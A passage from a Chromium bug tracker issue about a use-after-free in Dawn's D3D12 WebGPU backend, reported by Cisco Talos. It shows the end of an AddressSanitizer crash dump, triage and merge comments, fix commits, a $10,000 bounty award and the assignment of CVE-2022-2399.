  0x046a83ae9660: 00 00 00 00 00 fa fa fa fa fd fd fd fd fd fd
=>0x046a83ae9670: fd fd fd fa fa fa fa fd fd fd fd fd fd[fd]fd
  0x046a83ae9680: fd fa fa fa fa fa 00 00 00 00 00 00 00 00 fa
  0x046a83ae9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x046a83ae96a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x046a83ae96b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x046a83ae96c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable: 00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone: fa
  Freed heap region: fd
  Stack left redzone: f1
  Stack mid redzone: f2
  Stack right redzone: f3
  Stack after return: f5
  Stack use after scope: f8
  Global redzone: f9
  Global init order: f6
  Poisoned by user: f7
  Container overflow: fc
  Array cookie: ac
  Intra object redzone: bb
  ASan internal: fe
  Left alloca redzone: ca
  Right alloca redzone: cb
==14992==ABORTING

Credit

Discovered by Piotr Bania of Cisco Talos.

https://talosintelligence.com/vulnerability_reports/

Timeline

2022-04-04 - Vendor Disclosure
None - Public Release

poc.html
9.5 KB View Download

Comment 1 by dtapu...@chromium.org on Mon, Apr 4, 2022, 4:19 PM EDT Project Member

Labels: Type-Bug-Security

Comment 2 by dtapu...@chromium.org on Mon, Apr 4, 2022, 4:19 PM EDT Project Member

Components: Blink>WebGPU

Comment 3 by sheriffbot on Mon, Apr 4, 2022, 4:23 PM EDT Project Member

Labels: external_security_report

Comment 4 by hchao@google.com on Mon, Apr 4, 2022, 4:50 PM EDT Project Member

Owner: cwallez@chromium.org
Cc: kbr@chromium.org
Labels: Security_Severity-High FoundIn-102 OS-Windows Pri-1

Reproed on Windows with 102.0.4979.0, same shared dump.

@cwallez, could you take a look?

Comment 5 by sheriffbot on Mon, Apr 4, 2022, 4:53 PM EDT Project Member

Labels: Security_Impact-Head

Comment 6 by cwallez@chromium.org on Tue, Apr 5, 2022, 9:47 AM EDT Project Member

Status: Assigned (was: Unconfirmed)
Cc: enga@chromium.org lokokung@google.com bajones@chromium.org

Comment 7 by enga@chromium.org on Tue, Apr 5, 2022, 9:56 AM EDT Project Member

Owner: enga@chromium.org
Cc: cwallez@chromium.org

Comment 8 by sheriffbot on Tue, Apr 5, 2022, 12:47 PM EDT Project Member

Labels: M-102 Target-102

Setting milestone and target because of high severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 9 by sheriffbot on Tue, Apr 5, 2022, 12:57 PM EDT Project Member

Labels: ReleaseBlock-Stable

This is a serious security regression. If you are not able to fix this quickly, please revert the change that introduced it.

If this doesn't affect a release branch, or has not been properly classified for severity, please update the Security_Impact or Security_Severity labels, and remove the ReleaseBlock label. To disable this altogether, apply ReleaseBlock-NA.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 10 by Git Watcher on Tue, Apr 5, 2022, 9:15 PM EDT Project Member

The following revision refers to this bug:
https://dawn.googlesource.com/dawn/+/e8d5678b704ac881d0325f73f71168e31333fe04

commit e8d5678b704ac881d0325f73f71168e31333fe04
Author: Austin Eng <enga@chromium.org>
Date: Wed Apr 06 01:14:33 2022

Fix use-after-free of committed resource heaps

Heaps were destroyed immediately instead of deferring destruction
until after all work using the buffer was complete. This is only
a problem on D3D12. Vulkan allocations already have deferred
deletion, and Metal allocations are managed by the driver.

~~Bug: chromium:1313172~~
Change-Id: I0ef43709949c9e86c40e766f7f2029b14c8a2e97
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/85840
Reviewed-by: Brandon Jones <bajones@chromium.org>
Commit-Queue: Austin Eng <enga@chromium.org>

[modify]
https://dawn.googlesource.com/dawn/+/e8d5678b704ac881d0325f73f71168e31333fe04/src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.cpp
[modify]
https://dawn.googlesource.com/dawn/+/e8d5678b704ac881d0325f73f71168e31333fe04/src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.h

Comment 11 by enga@chromium.org on Tue, Apr 5, 2022, 9:19 PM EDT Project Member

Status: Fixed (was: Assigned)
Labels: Merge-Request-100 Merge-Request-101

Fixed, needs merge.

Comment 12 by Git Watcher on Tue, Apr 5, 2022, 9:22 PM EDT Project Member

The following revision refers to this bug:
https://dawn.googlesource.com/dawn/+/aae6bce1fbc8557716c8c92efc55dc8b7285417f

commit aae6bce1fbc8557716c8c92efc55dc8b7285417f
Author: Austin Eng <enga@chromium.org>
Date: Wed Apr 06 01:21:43 2022

Add regression test for ~~crbug.com/1313172~~

This adds a test, and a toggle disable_resource_suballocation.
This enables testing the behavior discovered in the bug without
creating enormous resources.

~~Bug: chromium:1313172~~
Change-Id: I779aad50c051e5022a9c85ebfbf33c18173a748f
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/85861
Reviewed-by: Loko Kung <lokokung@google.com>
Reviewed-by: Brandon Jones <bajones@chromium.org>
Commit-Queue: Austin Eng <enga@chromium.org>

[modify]
https://dawn.googlesource.com/dawn/+/aae6bce1fbc8557716c8c92efc55dc8b7285417f/src/dawn/tests/end2end/BufferTests.cpp
[modify]
https://dawn.googlesource.com/dawn/+/aae6bce1fbc8557716c8c92efc55dc8b7285417f/src/dawn/native/vulkan/ResourceMemoryAllocatorVk.cpp
[modify]
https://dawn.googlesource.com/dawn/+/aae6bce1fbc8557716c8c92efc55dc8b7285417f/src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.cpp
[modify] https://dawn.googlesource.com/dawn/+/aae6bce1fbc8557716c8c92efc55dc8b7285417f/src/dawn/native/Toggles.h
[modify]
https://dawn.googlesource.com/dawn/+/aae6bce1fbc8557716c8c92efc55dc8b7285417f/src/dawn/native/Toggles.cpp

Comment 13 by sheriffbot on Tue, Apr 5, 2022, 9:25 PM EDT Project Member

Labels: -Merge-Request-101 Merge-Review-101 Hotlist-Merge-Review

Merge review required: no relevant commits could be automatically detected (via Git Watcher comments), sending to merge review for manual evaluation. If you have not already manually listed the relevant commits to be merged via a comment above, please do so ASAP.

Please answer the following questions so that we can safely process your merge request:
1. Why does your merge fit within the merge criteria for these milestones?
- Chrome Browser: https://chromiumdash.appspot.com/branches
- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines
2. What changes specifically would you like to merge? Please link to Gerrit.
3. Have the changes been released and tested on canary?
4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?
5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?
https://goto.google.com/cros-engprodcomponents
6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Please contact the milestone owner if you have questions.

Owners: benmason (Android), harrysouders (iOS), matthewjoseph (ChromeOS), pbommana (Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 14 by sheriffbot on Tue, Apr 5, 2022, 9:25 PM EDT Project Member

Labels: -Merge-Request-100 Merge-Review-100

Merge review required: no relevant commits could be automatically detected (via Git Watcher comments), sending to merge review for manual evaluation. If you have not already manually listed the relevant commits to be merged via a comment above, please do so ASAP.

Please answer the following questions so that we can safely process your merge request:
1. Why does your merge fit within the merge criteria for these milestones?
- Chrome Browser: https://chromiumdash.appspot.com/branches
- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines
2. What changes specifically would you like to merge? Please link to Gerrit.
3. Have the changes been released and tested on canary?
4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?
5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?
https://goto.google.com/cros-engprodcomponents
6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Please contact the milestone owner if you have questions.
Owners: govind (Android), harrysouders (iOS), dgagnon (ChromeOS), srinivassista (Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 15 by Git Watcher on Wed, Apr 6, 2022, 4:53 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/3bc66ff1abd55b721ca610a6b861407f5b4c949d

commit 3bc66ff1abd55b721ca610a6b861407f5b4c949d
Author: chromium-autoroll <chromium-autoroll@skia-public.iam.gserviceaccount.com>
Date: Wed Apr 06 08:52:00 2022

Roll Dawn from 8d9d132f7cd1 to 8e6c4bb59a40 (5 revisions)

https://dawn.googlesource.com/dawn.git/+log/8d9d132f7cd1..8e6c4bb59a40

2022-04-06 dawn-autoroll@skia-public.iam.gserviceaccount.com Roll Tint from b7e560dea055 to 12f2f9b1bc9a (2 revisions)
2022-04-06 dawn-autoroll@skia-public.iam.gserviceaccount.com Roll ANGLE from 83d3a98cde77 to ca3b7d35fef0 (15 revisions)
2022-04-06 dawn-autoroll@skia-public.iam.gserviceaccount.com Roll SwiftShader from 7d100c556081 to d3cc7d7ac0c3 (3 revisions)
2022-04-06 enga@chromium.org Add regression test for ~~crbug.com/1313172~~
2022-04-06 enga@chromium.org Fix use-after-free of committed resource heaps

If this roll has caused a breakage, revert this CL and stop the roller
using the controls here:
https://autoroll.skia.org/r/dawn-chromium-autoroll
Please CC rharrison@google.com on the revert to ensure that a human
is aware of the problem.

To file a bug in Dawn: https://bugs.chromium.org/p/dawn/issues/entry

To file a bug in Dawn: https://bugs.chromium.org/p/dawn/issues/entry
To file a bug in Chromium: https://bugs.chromium.org/p/chromium/issues/entry

To report a problem with the AutoRoller itself, please file a bug:
https://bugs.chromium.org/p/skia/issues/entry?template=Autoroller+Bug

Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+doc/main/autoroll/README.md

Cq-Include-Trybots: luci.chromium.try:dawn-linux-x64-deps-rel;luci.chromium.try:dawn-mac-x64-deps-rel;luci.chromium.try:dawn-win10-x64-deps-rel;luci.chromium.try:dawn-win10-x86-deps-rel
~~Bug: chromium:1313172~~
Tbr: rharrison@google.com
Change-Id: I28d6f0944a05b33e5c4bb1160a937af7c61181c6
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3572595
Commit-Queue: chromium-autoroll <chromium-autoroll@skia-public.iam.gserviceaccount.com>
Bot-Commit: chromium-autoroll <chromium-autoroll@skia-public.iam.gserviceaccount.com>
Cr-Commit-Position: refs/heads/main@{#989335}

[modify] https://crrev.com/3bc66ff1abd55b721ca610a6b861407f5b4c949d/DEPS

Comment 16 by sheriffbot on Wed, Apr 6, 2022, 12:42 PM EDT Project Member

Labels: reward-topanel

Comment 17 by enga@chromium.org on Wed, Apr 6, 2022, 1:05 PM EDT Project Member

1. Why does your merge fit within the merge criteria for these milestones?
- Chrome Browser: https://chromiumdash.appspot.com/branches
- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines

Yes

2. What changes specifically would you like to merge? Please link to Gerrit.

https://dawn-review.googlesource.com/c/dawn/+/85840

3. Have the changes been released and tested on canary?

Not yet. https://chromiumdash.appspot.com/commit/e8d5678b704ac881d0325f73f71168e31333fe04
Do I need to wait for it to get to Canary?

4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?

No.

5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?
https://goto.google.com/cros-engprodcomponents

N/A

6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

No

NO

Comment 18 by sheriffbot on Wed, Apr 6, 2022, 1:41 PM EDT Project Member

Labels: Restrict-View-SecurityNotify

Comment 19 by amyressler@chromium.org on Thu, Apr 7, 2022, 11:52 AM EDT Project Member

Labels: -Merge-Review-100 -Merge-Review-101 Merge-Approved-101 Merge-Approved-100

Hi enga@, thanks for completing the bot's merge review questionnaire. WRT to question:answer in comment #3 of the questionnaire in reference to the fix being tested on Canary -- yes, getting a fix on Canary is helpful for testing (based on unit tests, etc) but also and importantly for getting a look into stability issues that may result from the fix and you being able to help us with those checks in the merge review process :)

As we are going on almost 48 hours of canary data and this fix looks fairly safe, I'm going to tentatively approve for merge to M101 and M100, barring any issues or concerns on your side/from your observations.
For M101, please merge to branch 4951 at your earliest convenience.
For M100, please merge to branch 4896 ASAP so this fix can be included in tomorrow's M100 refresh.
Thanks!

Comment 20 by Git Watcher on Thu, Apr 7, 2022, 11:58 AM EDT Project Member

Labels: -merge-approved-100 merge-merged-4896 merge-merged-100

The following revision refers to this bug:
https://dawn.googlesource.com/dawn/+/e846fefc34da4ba904c681cd275ada191674cfb5

commit e846fefc34da4ba904c681cd275ada191674cfb5
Author: Austin Eng <enga@chromium.org>
Date: Thu Apr 07 15:57:54 2022

Fix use-after-free of committed resource heaps

Heaps were destroyed immediately instead of deferring destruction
until after all work using the buffer was complete. This is only
a problem on D3D12. Vulkan allocations already have deferred
deletion, and Metal allocations are managed by the driver.

No-Try: true
~~Bug: chromium:1313172~~
Change-Id: I0ef43709949c9e86c40e766f7f2029b14c8a2e97
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/85840
Reviewed-by: Brandon Jones <bajones@chromium.org>
Commit-Queue: Austin Eng <enga@chromium.org>
(cherry picked from commit e8d5678b704ac881d0325f73f71168e31333fe04)
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/85866
Reviewed-by: Corentin Wallez <cwallez@chromium.org>

[modify]
https://dawn.googlesource.com/dawn/+/e846fefc34da4ba904c681cd275ada191674cfb5/src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.cpp
[modify]

https://dawn.googlesource.com/dawn/+/e846fefc34da4ba904c681cd275ada191674cfb5/src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.h

Comment 21 by Git Watcher on Thu, Apr 7, 2022, 11:58 AM EDT Project Member

Labels: -merge-approved-101 merge-merged-4951 merge-merged-101

The following revision refers to this bug:
https://dawn.googlesource.com/dawn/+/211e96c6069c66c6d503cfa2b35226c7118c7927

commit 211e96c6069c66c6d503cfa2b35226c7118c7927
Author: Austin Eng <enga@chromium.org>
Date: Thu Apr 07 15:57:44 2022

Fix use-after-free of committed resource heaps

Heaps were destroyed immediately instead of deferring destruction
until after all work using the buffer was complete. This is only
a problem on D3D12. Vulkan allocations already have deferred
deletion, and Metal allocations are managed by the driver.

No-Try: true
~~Bug: chromium:1313172~~
Change-Id: I0ef43709949c9e86c40e766f7f2029b14c8a2e97
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/85840
Reviewed-by: Brandon Jones <bajones@chromium.org>
Commit-Queue: Austin Eng <enga@chromium.org>
(cherry picked from commit e8d5678b704ac881d0325f73f71168e31333fe04)
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/85867
Reviewed-by: Corentin Wallez <cwallez@chromium.org>

[modify]
https://dawn.googlesource.com/dawn/+/211e96c6069c66c6d503cfa2b35226c7118c7927/src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.cpp
[modify]
https://dawn.googlesource.com/dawn/+/211e96c6069c66c6d503cfa2b35226c7118c7927/src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.h

Comment 22 by Git Watcher on Thu, Apr 7, 2022, 11:59 AM EDT Project Member

The following revision refers to this bug:
https://dawn.googlesource.com/dawn/+/e846fefc34da4ba904c681cd275ada191674cfb5

commit e846fefc34da4ba904c681cd275ada191674cfb5
Author: Austin Eng <enga@chromium.org>
Date: Thu Apr 07 15:57:54 2022

Fix use-after-free of committed resource heaps

Heaps were destroyed immediately instead of deferring destruction
until after all work using the buffer was complete. This is only
a problem on D3D12. Vulkan allocations already have deferred
deletion, and Metal allocations are managed by the driver.

No-Try: true
~~Bug: chromium:1313172~~
Change-Id: I0ef43709949c9e86c40e766f7f2029b14c8a2e97
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/85840

Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/85840
Reviewed-by: Brandon Jones <bajones@chromium.org>
Commit-Queue: Austin Eng <enga@chromium.org>
(cherry picked from commit e8d5678b704ac881d0325f73f71168e31333fe04)
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/85866
Reviewed-by: Corentin Wallez <cwallez@chromium.org>

[modify]
https://dawn.googlesource.com/dawn/+/e846fefc34da4ba904c681cd275ada191674cfb5/src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.cpp
[modify]
https://dawn.googlesource.com/dawn/+/e846fefc34da4ba904c681cd275ada191674cfb5/src/dawn/native/d3d12/ResourceAllocatorManagerD3D12.h

Comment 23 by amyressler@google.com on Wed, Apr 13, 2022, 7:42 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-10000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 24 by amyressler@chromium.org on Wed, Apr 13, 2022, 7:57 PM EDT Project Member

Congratulations, Piotr! The VRP Panel has decided to award you $10,000 for this report. Thank you for your efforts in finding WebGPU bugs in Chrome and nice work!

vulndiscovery@sourcefire -- please update us in this report with the correct reward-to for Piotr. Thank you.

Comment 25 by vulnd...@sourcefire.com on Thu, Apr 14, 2022, 10:02 AM EDT

reward_to-piotr_at_thelead82.com

Comment 26 by amyressler@google.com on Fri, Apr 15, 2022, 9:36 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

Comment 27 by sheriffbot on Wed, Jul 13, 2022, 1:31 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 28 by vulnd...@sourcefire.com on Wed, Jul 13, 2022, 3:01 PM EDT

What's the CVE for this issue?

Comment 29 by amyressler@chromium.org on Wed, Jul 13, 2022, 3:05 PM EDT Project Member

This issue was discovered in Head and was resolved before it affected stable or beta channel users. These issues generally did not receive CVE ID as they did not impact users and there was not public artifact to link to a CVE ID for issues pre-stable or beta.

Comment 30 by vulnd...@sourcefire.com on Wed, Jul 13, 2022, 3:40 PM EDT

This issue affected stable, our original report specifically mentions Google Chrome 99.0.4844.82 (Build) (64-bit) as affected

Comment 31 by amyressler@chromium.org on Wed, Jul 13, 2022, 4:18 PM EDT Project Member

Apologies for that, looks like this got triaged as only affecting head/102 on 4 April. I'll update with a CVE shortly. Thanks for bringing this to our attention.

Comment 32 by amyressler@google.com on Wed, Jul 13, 2022, 4:21 PM EDT Project Member

Labels: CVE-2022-2399 CVE_description-missing

Comment 33 by amyressler@chromium.org on Fri, Aug 12, 2022, 3:22 PM EDT Project Member

Labels: -CVE_description-missing CVE_description-submitted